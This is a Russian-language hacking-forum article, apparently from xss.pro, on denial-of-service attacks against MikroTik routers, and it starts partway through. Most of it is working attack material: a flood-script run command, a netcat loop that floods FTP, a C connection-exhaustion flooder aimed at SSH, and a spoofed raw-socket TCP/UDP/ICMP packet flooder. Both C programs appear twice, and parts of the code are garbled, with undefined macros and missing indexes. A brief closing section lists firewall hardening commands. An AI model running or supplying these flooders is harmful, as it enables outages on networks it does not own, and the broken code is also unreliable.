cd TCP-UDP-Flood3.Запускаем инструмент:
python flood.py --ip <ip> --port <port> --threads <threads> --times <times>CDP flood
CDP (Cisco Discovery Protocol) флуд на MikroTik относится к сетевой атаке, когда злоумышленник генерирует и отправляет большое количество CDP-пакетов на устройство MikroTik, с целью перегрузки его процессора или сетевых ресурсов. CDP является проприетарным протоколом, разработанным компанией Cisco, который позволяет сетевым устройствам обмениваться информацией о себе и обнаруживать другие устройства в сети.
CDP флуд может создать большую нагрузку на маршрутизатор MikroTik и вызвать нарушение его работы. При интенсивном флуде CDP-пакетами процессор устройства может быть перегружен обработкой большого количества пакетов, а сетевые ресурсы могут быть истощены, что приведет к деградации производительности сети.
Используя инструмент yersinia мы будем проводить DoS атаку на сетевое оборудование.
1.Скачиваем инструмент: скачать
2.Запускаем и настраиваем инструмент
3.Начинаем атаку!
FTP flood
FTP флуд на MikroTik относится к сетевой атаке, при которой злоумышленник пытается организовать интенсивный перебор паролей или перегрузку сервера FTP (File Transfer Protocol) на устройстве MikroTik.
Это может быть выполнено путем отправки большого количества попыток аутентификации, переполнения буфера или других методов, которые могут привести к нарушению работы FTP-сервера.
Код скрипта:
Код:
for i in `seq 1 100`
do
cat craft | nc -nv <MikroTik IP> 21 &
sleep 2
done
SSH flood
SSH флуд на MikroTik относится к виду сетевой атаки, когда злоумышленник пытается подвергнуть устройство MikroTik интенсивному перебору паролей, используя протокол SSH (Secure Shell). Злоумышленник отправляет большое количество попыток аутентификации с различными комбинациями логинов и паролей, чтобы получить несанкционированный доступ к устройству.
Этот тип атаки носит характер принудительного перебора паролей и может быть опасным для безопасности сети. При успешном взломе устройства MikroTik злоумышленник может получить доступ к конфиденциальным данным, изменить настройки маршрутизатора или использовать его для проведения других вредоносных действий.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define MAX_CON 32
#define MAX_THREADS 16
int Socket(char *ip, char *port) {
struct addrinfo hints, *ret, *p;
int sock, r;
ssize_t bytes;
char buffer[2048];
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(ip, port, &hints, &ret))!=0) {
return EXIT_FAILURE;
}
for(p = ret; p != NULL; p = p->ai_next) {
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
continue;
}
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
close(sock);
continue;
}
break;
}
if(ret)
freeaddrinfo(ret);
fprintf(stderr, "ESTABLISHED %s:%s\n", ip, port);
return sock;
}
void signal_callback_handler(int signum){
printf("Caught signal SIGPIPE %d\n",signum);
}
void mal(char *ip, char *port, int id) {
int sockets[MAX_CON];
int i, g=1, r;
for(i=0; i!= MAX_CON; i++)
sockets=0;
signal(SIGPIPE, signal_callback_handler);
while(1) {
for(i=0; i!= MAX_CON; i++) {
if(sockets == 0)
sockets = Socket(ip, port);
r=write(sockets, "\0", 1);
if(r == -1) {
close(sockets);
sockets = Socket(ip, port);
}
}
usleep(200000);
}
}
int main(int argc, char **argv) {
int i;
for(i=0; i!= MAX_THREADS; i++) {
if(fork())
mal(argv[1], argv[2], i);
usleep(200000);
}
getc(stdin);
return 0;
}
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define MAX_CON 32
#define MAX_THREADS 16
int Socket(char *ip, char *port) {
struct addrinfo hints, *ret, *p;
int sock, r;
ssize_t bytes;
char buffer[2048];
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(ip, port, &hints, &ret))!=0) {
return EXIT_FAILURE;
}
for(p = ret; p != NULL; p = p->ai_next) {
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
continue;
}
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
close(sock);
continue;
}
break;
}
if(ret)
freeaddrinfo(ret);
fprintf(stderr, "ESTABLISHED %s:%s\n", ip, port);
return sock;
}
void signal_callback_handler(int signum){
printf("Caught signal SIGPIPE %d\n",signum);
}
void mal(char *ip, char *port, int id) {
int sockets[MAX_CON];
int i, g=1, r;
for(i=0; i!= MAX_CON; i++)
sockets=0;
signal(SIGPIPE, signal_callback_handler);
while(1) {
for(i=0; i!= MAX_CON; i++) {
if(sockets == 0)
sockets = Socket(ip, port);
r=write(sockets, "\0", 1);
if(r == -1) {
close(sockets);
sockets = Socket(ip, port);
}
}
usleep(200000);
}
}
int main(int argc, char **argv) {
int i;
for(i=0; i!= MAX_THREADS; i++) {
if(fork())
mal(argv[1], argv[2], i);
usleep(200000);
}
getc(stdin);
return 0;
}
ARP flood
ARP Table Overflow (переполнение таблицы ARP) является типом атаки на маршрутизатор MikroTik, а не язык программирования. Эта атака относится к Denial of Service (DoS) и направлена на перегрузку таблицы ARP устройства, что приводит к нарушению его функциональности и доступности для легитимных пользователей.
ARP (Address Resolution Protocol) используется для связи между IP-адресами и физическими (MAC) адресами в локальной сети. Злоумышленник может использовать эту уязвимость, чтобы создать и отправить большое количество поддельных ARP-запросов на маршрутизатор MikroTik, в результате чего его таблица ARP переполняется.
Когда таблица ARP переполняется, маршрутизатор может начать работать неправильно или даже перестать функционировать. Это может привести к отказу в обслуживании легитимных пользователей, так как маршрутизатор не сможет правильно перенаправлять трафик в сети.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp == 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp == 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define KET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner = "Written By C0NSTANTINE";
struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] = {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l
:")) != -1) {
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |= TCP_ACK; break;
case 1: a_flags |= TCP_FIN; break;
case 2: a_flags |= TCP_RST; break;
case 3: a_flags |= TCP_SYN; break;
case 4: a_flags |= TCP_URG; break;
}
break;
case 'U':
a_flags |= UDP_CFF;
break;
case 'I':
a_flags |= ICMP_ECHO_G;
break;
case 'N':
a_flags |= TCP_NOF;
break;
case 's':
src_class = optarg;
break;
case 'h':
dstaddr = lookup(optarg);
break;
case 'd':
dst_class = optarg;
i = 1;
break;
case 'p':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
dst_sp = atoi(optarg);
dst_ep = atoi(p +1);
break;
case 'q':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
src_sp = atoi(optarg);
src_ep = atoi(p +1);
break;
case 'l':
b_link = atoi(optarg);
if (b_link <= 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until = time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family = AF_INET;
for (n = 0; ; ) {
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i = 0; a_list.f != NULL; ++i) {
if (a_list.gv & a_flags)
a_list.f(a_list.kv);
}
if (n++ == 100) {
if (until != -1 && time(0) >= until) break;
n = 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;
if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;
for (i = 0, j = 0; class != '{TEXTO}'; ++i)
if (class == '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_p = p;
ip->ip_tos = 0x08; /* 0x08 */
ip->ip_id = random();
ip->ip_len = len;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_dst.s_addr = dst_class != NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr = src_class != NULL ?
inet_addr(class2ip(src_class)) :
random();
target.sin_addr.s_addr = ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
packet.tcp.th_flags = random();
packet.tcp.th_win = random();
packet.tcp.th_seq = random();
packet.tcp.th_ack = random();
packet.tcp.th_off = 5;
packet.tcp.th_urp = 0;
packet.tcp.th_sport = CHOOSE_SRC_PORT();
packet.tcp.th_dport = CHOOSE_DST_PORT();
cksum.tcp = packet.tcp;
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage)
{
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.udp.uh_sport = CHOOSE_SRC_PORT();
packet.udp.uh_dport = CHOOSE_DST_PORT();
packet.udp.uh_ulen = htons(sizeof packet.udp);
packet.udp.uh_sum = 0;
SEND_PACKET();
}
static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.icmp.icmp_type = ICMP_ECHO;
packet.icmp.icmp_code = 0;
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
for(int pp=0;pp<=1000;pp++)
{SEND_PACKET();
pp++;
}
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;37m]\e[0m\n");
printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0);
exit(-1);
}
cpu-used-per-cpu: 100%
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp == 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp == 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define KET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner = "Written By C0NSTANTINE";
struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] = {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |= TCP_ACK; break;
case 1: a_flags |= TCP_FIN; break;
case 2: a_flags |= TCP_RST; break;
case 3: a_flags |= TCP_SYN; break;
case 4: a_flags |= TCP_URG; break;
}
break;
case 'U':
a_flags |= UDP_CFF;
break;
case 'I':
a_flags |= ICMP_ECHO_G;
break;
case 'N':
a_flags |= TCP_NOF;
break;
case 's':
src_class = optarg;
break;
case 'h':
dstaddr = lookup(optarg);
break;
case 'd':
dst_class = optarg;
i = 1;
break;
case 'p':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
dst_sp = atoi(optarg);
dst_ep = atoi(p +1);
break;
case 'q':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
src_sp = atoi(optarg);
src_ep = atoi(p +1);
break;
case 'l':
b_link = atoi(optarg);
if (b_link <= 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until = time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family = AF_INET;
for (n = 0; ; ) {
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i = 0; a_list.f != NULL; ++i) {
if (a_list.gv & a_flags)
a_list.f(a_list.kv);
}
if (n++ == 100) {
if (until != -1 && time(0) >= until) break;
n = 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;
if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;
for (i = 0, j = 0; class != '{TEXTO}'; ++i)
if (class == '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_p = p;
ip->ip_tos = 0x08; /* 0x08 */
ip->ip_id = random();
ip->ip_len = len;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_dst.s_addr = dst_class != NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr = src_class != NULL ?
inet_addr(class2ip(src_class)) :
random();
target.sin_addr.s_addr = ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
packet.tcp.th_flags = random();
packet.tcp.th_win = random();
packet.tcp.th_seq = random();
packet.tcp.th_ack = random();
packet.tcp.th_off = 5;
packet.tcp.th_urp = 0;
packet.tcp.th_sport = CHOOSE_SRC_PORT();
packet.tcp.th_dport = CHOOSE_DST_PORT();
cksum.tcp = packet.tcp;
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage)
{
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.udp.uh_sport = CHOOSE_SRC_PORT();
packet.udp.uh_dport = CHOOSE_DST_PORT();
packet.udp.uh_ulen = htons(sizeof packet.udp);
packet.udp.uh_sum = 0;
SEND_PACKET();
}
static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.icmp.icmp_type = ICMP_ECHO;
packet.icmp.icmp_code = 0;
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
for(int pp=0;pp<=1000;pp++)
{SEND_PACKET();
pp++;
}
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;37m]\e[0m\n");
printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0);
exit(-1);
}
cpu-used-per-cpu: 100%
Защита от атак
Создание правил брандмауэра: Брандмауэр является основным средством защиты от внешних атак и несанкционированного доступа. MikroTik RouterOS предоставляет мощный и гибкий механизм для настройки правил брандмауэра. Вот несколько команд, которые можно использовать для создания правил:Добавление правила брандмауэра для блокировки конкретного IP-адреса:
/ip firewall filter add chain=input src-address=192.168.0.100 action=dropСоздание правила для разрешения доступа к определенному порту:
/ip firewall filter add chain=input protocol=tcp dst-port=22 action=acceptНастройка правила для предотвращения атак типа Denial of Service (DoS):
/ip firewall filter add chain=input protocol=tcp tcp-flags=syn action=jump jump-target=dos-attack /ip firewall filter add chain=dos-attack action=returnУправление доступом к сети: MikroTik позволяет администраторам контролировать доступ к сети, ограничивая соединения только для авторизованных пользователей или определенных IP-адресов. Вот несколько команд, которые могут быть полезны:
Создание правила для разрешения доступа только для определенных IP-адресов:
/ip firewall filter add chain=input src-address=!192.168.0.0/24 action=dropНастройка списка доступа (Access List) для контроля входящего и исходящего трафика:
/ip firewall filter add chain=input src-address-list=allowed action=accept /ip firewall filter add chain=input action=drop /ip firewall filter add chain=output dst-address-list=blocked action=dropVPN для безопасного удаленного доступа: Использование виртуальных частных сетей (VPN) позволяет обеспечить безопасное и зашифрованное соединение при удаленном доступе к сети MikroTik. Вот несколько команд, которые могут быть использованы для настройки VPN:
Создание сервера VPN с использованием протокола IPsec:
/interface ipsec profile add name=vpn-profile /interface ipsec peer add address=0.0.0.0/0 profile=vpn-profile /interface ipsec proposal add name=vpn-proposal /ip pool add name=vpn-pool ranges=192.168.1.10-192.168.1.20 /ip ipsec mode-config add address-pool=vpn-pool name=vpn-config
Настройка клиента VPN для подключения к серверу:
/interface l2tp-client add connect-to=VPN_SERVER_IP user=USERNAME password=PASSWORDПроверка и мониторинг сетевой активности: Регулярный мониторинг и проверка активности сети помогают обнаружить потенциальные угрозы и атаки. MikroTik предоставляет инструменты для мониторинга и журналирования событий. Вот несколько команд, которые можно использовать:
Просмотр журнала событий:
/log printМониторинг трафика:
/interface monitor-traffic ether1Просмотр активных соединений:
/tool netwatchОбновление MikroTik RouterOS: Регулярные обновления MikroTik RouterOS важны для исправления уязвимостей и улучшения безопасности. Вот несколько команд, которые можно использовать для обновления:
Проверка наличия обновлений:
/system package update check-for-updatesУстановка обновлений:
/system package update installКоманды и приемы, представленные выше, являются только некоторыми примерами того, как можно использовать MikroTik RouterOS для повышения безопасности сети. Важно понимать, что безопасность - это непрерывный процесс, и администраторам следует оставаться внимательными, обновлять ПО, настраивать правила брандмауэра и фильтрации трафика, а также регулярно мониторить сетевую активность. Только комплексный подход поможет создать надежную и безопасную сеть с использованием MikroTik RouterOS.
Конец!
Отдельную благодарность хочу отдать людям которые поддерживали меня при написании материала!
Не судите строго , так как я новичок в теме сетей)
Автор: Gufi
Сделано специально для xss.pro!
Последнее редактирование модератором: